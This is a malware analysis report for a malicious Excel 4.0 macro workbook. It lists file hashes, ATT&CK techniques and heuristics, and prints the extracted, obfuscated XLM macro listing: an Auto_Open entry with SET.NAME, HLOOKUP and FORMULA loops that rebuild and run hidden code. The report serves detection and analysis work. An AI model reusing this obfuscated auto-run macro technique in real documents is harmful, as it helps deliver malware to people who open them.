Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b0ec18533806854…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:59 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 0dcea985d2ecc264cce1e8ee24ceb5a4 SHA-1: 41af17194512f48e1775ec62258f1b45815fb781 SHA-256: 0b0ec18533806854a47fd677fa68b018ba32b9a682ee1f600adec21a37837288
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros, specifically an Auto_Open defined name, which is a common technique for executing malicious code. The macro sheet contains references to dangerous formula APIs like RUN, suggesting it's designed to download and execute a second-stage payload. No specific family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6595 bytes
SHA-256: c923098d69526401c14bb404be94e285a7467f0d4e9329a10c30101d01889944
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  koabZXtIP
' 0018     25 LABEL : Cell Value, String Constant - aFLCcESrtG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H136 
' 0018     21 LABEL : Cell Value, String Constant - AWzRNd len=0 
' 0018     20 LABEL : Cell Value, String Constant - bBJQb len=0 
' 0018     27 LABEL : Cell Value, String Constant - CHKgVOUxYzVf len=0 
' 0018     21 LABEL : Cell Value, String Constant - EKZBGV len=0 
' 0018     26 LABEL : Cell Value, String Constant - fxYfkfdBdcU len=0 
' 0018     21 LABEL : Cell Value, String Constant - HpNphu len=0 
' 0018     26 LABEL : Cell Value, String Constant - IpwNWQgEUuR len=0 
' 0018     24 LABEL : Cell Value, String Constant - masSiXjKe len=0 
' 0018     25 LABEL : Cell Value, String Constant - NNxOoDuKpd len=0 
' 0018     27 LABEL : Cell Value, String Constant - nYCscmnAchrr len=0 
' 0018     20 LABEL : Cell Value, String Constant - pUKbS len=0 
' 0018     23 LABEL : Cell Value, String Constant - QThNazOK len=0 
' 0018     26 LABEL : Cell Value, String Constant - rlSTptUlkvA len=0 
' 0018     26 LABEL : Cell Value, String Constant - RtOPpvIqkZk len=0 
' 0018     26 LABEL : Cell Value, String Constant - sWdLGfgmXNZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - xvLBqUTLiN len=0 
' 0018     26 LABEL : Cell Value, String Constant - yJqowTMKzNA len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZLmWIZq len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZWcywf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  koabZXtIP,H50,"SET.NAME("ZWcywf",VALUE("0"))",""
'  koabZXtIP,H55,"SET.NAME("RtOPpvIqkZk",ZWcywf)",""
'  koabZXtIP,H58,"SET.NAME("AWzRNd",ZWcywf)",""
'  koabZXtIP,H61,"SET.NAME("QThNazOK",COUNTA(IpwNWQgEUuR))",""
'  koabZXtIP,H66,"SET.NAME("masSiXjKe",COUNTA(sWdLGfgmXNZ))",""
'  koabZXtIP,H71,[],""
'  koabZXtIP,H73,"SET.NAME("ZLmWIZq","")",""
'  koabZXtIP,H76,"RtOPpvIqkZk",""
'  koabZXtIP,H80,"SET.NAME("CHKgVOUxYzVf",HLOOKUP("*",IpwNWQgEUuR,RtOPpvIqkZk,FALSE))",""
'  koabZXtIP,H85,"bBJQb",""
'  koabZXtIP,H88,"SET.NAME("yJqowTMKzNA",ZWcywf)",""
'  koabZXtIP,H92,[],""
'  koabZXtIP,H94,"yJqowTMKzNA",""
'  koabZXtIP,H96,"xvLBqUTLiN",""
'  koabZXtIP,H99,"HpNphu",""
'  koabZXtIP,H102,"pUKbS",""
'  koabZXtIP,H105,"SET.NAME("EKZBGV",VALUE(HLOOKUP("*",sWdLGfgmXNZ,pUKbS,FALSE)))",""
'  koabZXtIP,H109,"aFLCcESrtG",""
'  koabZXtIP,H111,"ZLmWIZq",""
'  koabZXtIP,H114,"AWzRNd",""
'  koabZXtIP,H118,NEXT(),""
'  koabZXtIP,H122,"fxYfkfdBdcU",""
'  koabZXtIP,H125,"SET.NAME("f",INT(T(FORMULA(T(ZLmWIZq)&"",""&T(fxYfkfdBdcU)))))",""
'  koabZXtIP,H127,"NNxOoDuKpd",""
'  koabZXtIP,H129,NEXT(),""
'  koabZXtIP,H131,RETURN(),""
'  koabZXtIP,H160,"SET.NAME("nYCscmnAchrr",H50)",""
'  koabZXtIP,H163,"IpwNWQgEUuR",""
'  koabZXtIP,H168,"SET.NAME("sWdLGfgmXNZ",R44C12)",""
'  koabZXtIP,H171,"SET.NAME("NNxOoDuKpd",179)",""
'  koabZXtIP,H174,"SET.NAME("rlSTptUlkvA",8)",""
'  koabZXtIP,H178,nYCscmnAchrr(),""
'  koabZXtIP,H179,HALT(),""

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